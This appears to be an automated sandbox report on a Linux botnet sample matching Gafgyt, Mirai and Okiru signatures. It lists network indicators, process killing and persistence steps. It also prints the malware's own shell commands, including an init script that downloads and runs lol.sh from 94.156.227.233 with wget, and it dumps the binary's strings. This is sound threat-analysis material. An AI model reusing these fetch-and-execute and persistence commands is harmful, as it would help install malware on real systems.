Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234
Source: unknown	TCP traffic detected without corresponding DNS query: 94.156.227.234

Source: x86_64.nn.elf, sh.32.dr, profile.12.dr, system.12.dr, inittab.12.dr, bootcmd.12.dr, custom.service.12.dr	String found in binary or memory: http://94.156.227.233/
Source: x86_64.nn.elf, 6236.1.00007ffe3c0d6000.00007ffe3c0f7000.rw-.sdmp	String found in binary or memory: http://94.156.227.233/lol.sh
Source: x86_64.nn.elf	String found in binary or memory: http://94.156.227.233/oro1vk/usr/sbin/reboot/usr/bin/reboot/usr/sbin/shutdown/usr/bin/shutdown/usr/s

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a Author: unknown
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 Author: unknown

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: getinfo xxx/proc/self/exe(deleted)/proc/%s/exe/proc/..%s/%ssize=10Mtmpfs/tmp/tt/tmp/tt/system/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/sh94.156.227.2342surf2/proc/%d/exe/proc/%d/cmdlinewgetcurlunknown%s (URL: %s)/.socket/proc/%d/mountinfo/ /proc-altered/tmp/usr/lib/systemd//usr/sbin//usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd*deamon/opt/app/monitor/z/secom//usr/lib/mnt/sys/boot/media/srv/sbin/etc/dev/telnethttpdtelnetddropbearencoder/var/tmp/wlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nntelnet.nn/init/opt/app/var/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdvar/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/ping/pswiresharkechotcpdumpnetstatpythoniptablesnanonvimgdbpkillkillallapt/bi

Sample has stripped symbol table

Source: ELF static info symbol of initial sample

.symtab present: no

Sample tries to kill a process (SIGKILL)

Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 788, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 884, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 1664, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 2096, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 2102, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 6274, result: successful	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	SIGKILL sent: pid: 6344, result: successful	Jump to behavior

Yara signature match

Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: x86_64.nn.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_9e9530a7 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = d6ad6512051e87c8c35dc168d82edd071b122d026dce21d39b9782b3d6a01e50, id = 9e9530a7-ad4d-4a44-b764-437b7621052f, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_807911a2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = f409037091b7372f5a42bbe437316bd11c655e7a5fe1fcf83d1981cb5c4a389f, id = 807911a2-f6ec-4e65-924f-61cb065dafc6, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d4227dbf reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3, id = d4227dbf-6ab4-4637-a6ba-0e604acaafb4, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_d996d335 reference_sample = b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac, id = d996d335-e049-4052-bf36-6cd07c911a8b, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_620087b9 reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 06cd7e6eb62352ec2ccb9ed48e58c0583c02fefd137cd048d053ab30b5330307, id = 620087b9-c87d-4752-89e8-ca1c16486b28, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_33b4111a reference_sample = 01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = 9c3b63b9a0f54006bae12abcefdb518904a85f78be573f0780f0a265b12d2d6e, id = 33b4111a-e59e-48db-9d74-34ca44fcd9f5, last_modified = 2021-09-16
Source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_e0cf29e2 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 3f124c3c9f124264dfbbcca1e4b4d7cfcf3274170d4bf8966b6559045873948f, id = e0cf29e2-88d7-4aa4-b60a-c24626f2b246, last_modified = 2021-09-16

Source: classification engine

Classification label: mal96.spre.troj.evad.linELF@0/10@0/0

Persistence and Installation Behavior

Sample tries to persist itself using /etc/profile

Source: /tmp/x86_64.nn.elf (PID: 6236)

File: /etc/profile

Jump to behavior

Sample tries to persist itself using System V runlevels

Source: /tmp/x86_64.nn.elf (PID: 6236)	File: /etc/rc.local	Jump to behavior
Source: /usr/bin/ln (PID: 6291)	File: /etc/rcS.d/S99system -> /etc/init.d/system	Jump to behavior
Source: /usr/bin/ln (PID: 6298)	File: /etc/rc.d/S99sh -> /etc/init.d/sh	Jump to behavior

Sample tries to set files in /etc globally writable

Source: /tmp/x86_64.nn.elf (PID: 6236)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6289)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6294)	File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Enumerates processes within the "proc" file system

Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/6274/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/6344/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/2096/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/884/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/1664/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/2102/cmdline	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6301)	File opened: /proc/788/cmdline	Jump to behavior

Executes commands using a shell command-line interpreter

Source: /tmp/x86_64.nn.elf (PID: 6247)	Shell command executed: sh -c "systemctl enable custom.service >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6286)	Shell command executed: sh -c "chmod +x /etc/init.d/system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6290)	Shell command executed: sh -c "ln -s /etc/init.d/system /etc/rcS.d/S99system >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6292)	Shell command executed: sh -c "echo \"#!/bin/sh\n# /etc/init.d/sh\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting sh'\n /bin/sh &\n wget http://94.156.227.233/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping sh'\n killall sh\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start\|stop\|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/sh"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6293)	Shell command executed: sh -c "chmod +x /etc/init.d/sh >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6295)	Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"	Jump to behavior
Source: /tmp/x86_64.nn.elf (PID: 6297)	Shell command executed: sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1"	Jump to behavior

Executes the "chmod" command used to modify permissions

Source: /bin/sh (PID: 6289)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system			Jump to behavior
Source: /bin/sh (PID: 6294)	Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sh			Jump to behavior

Executes the "mkdir" command used to create folders

Source: /bin/sh (PID: 6296)

Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d

Jump to behavior

Executes the "systemctl" command used for controlling the systemd system and service manager

Source: /bin/sh (PID: 6259)

Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service

Jump to behavior

Sample tries to set the executable flag

Source: /tmp/x86_64.nn.elf (PID: 6236)	File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6289)	File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx)	Jump to behavior
Source: /usr/bin/chmod (PID: 6294)	File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx)	Jump to behavior

Writes shell script file to disk with an unusual file extension

Source: /tmp/x86_64.nn.elf (PID: 6236)	Writes shell script file to disk with an unusual file extension: /etc/init.d/system	Jump to dropped file
Source: /tmp/x86_64.nn.elf (PID: 6236)	Writes shell script file to disk with an unusual file extension: /etc/rc.local	Jump to dropped file
Source: /bin/sh (PID: 6292)	Writes shell script file to disk with an unusual file extension: /etc/init.d/sh	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Drops files in suspicious directories

Source: /tmp/x86_64.nn.elf (PID: 6236)	File: /etc/init.d/system			Jump to dropped file
Source: /bin/sh (PID: 6292)	File: /etc/init.d/sh			Jump to dropped file

Stealing of Sensitive Information

Yara detected Okiru

Source: Yara match	File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match	File source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6236, type: MEMORYSTR

Remote Access Functionality

Yara detected Okiru

Source: Yara match	File source: x86_64.nn.elf, type: SAMPLE
Source: Yara match	File source: 6236.1.0000000000400000.0000000000415000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: x86_64.nn.elf PID: 6236, type: MEMORYSTR

ID:	1579941
Product:	CloudBasic
Start time:	16:21:09
Start date:	23.12.2024
Sample:	x86_64.nn.elf
Cookbook:	defaultlinuxfilecookbook.jbs
System description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Architecture:	LINUX
MD5:	d66df6f1f7ee0e5c61eaa0b56cb503c9
SHA1:	06ed826c89f2d475d5b3e3678cf23f611b93653a
SHA256:	67698b290f656fb3bf261fb8487e663c2be96f32e327939c14b130b05a5be70b
Filetype:	ELF Executable and Linkable format (generic) (4004/1) 100.00%

Linux Analysis Report x86_64.nn.elf

Overview

General Information

Detection

Signatures

Classification

Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Screenshots

Network Map

Contacted Public IPs

Linux Analysis Report
x86_64.nn.elf